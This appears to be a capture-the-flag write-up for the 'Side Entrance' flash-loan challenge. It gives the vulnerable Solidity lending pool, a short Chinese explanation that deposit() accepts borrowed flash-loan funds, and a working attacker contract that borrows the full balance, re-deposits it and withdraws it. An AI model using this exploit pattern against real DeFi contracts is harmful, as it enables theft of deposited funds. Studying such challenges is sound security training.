Description
A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.
It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.
Code
contract SideEntranceLenderPool {
using Address for address payable;
mapping(address => uint256) private balances;
error NotEnoughETHInPool();
error FlashLoanHasNotBeenPaidBack();
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
if (balanceBefore < amount) revert NotEnoughETHInPool();
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore) {
revert FlashLoanHasNotBeenPaidBack();
}
}
}
Solution
在SideEntranceLenderPool::deposit()
函数中没有判断资金的来源,所以我们可以在闪电贷的时候,再将资金存入,从而完成这次攻击。
Exp
contract tmpAtt {
SideEntranceLenderPool pool;
constructor(address _pool) payable {
pool = SideEntranceLenderPool(_pool);
}
function attack() external {
pool.flashLoan(address(pool).balance);
}
function execute() external payable{
pool.deposit{value: msg.value}();
}
function withdraw() external {
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}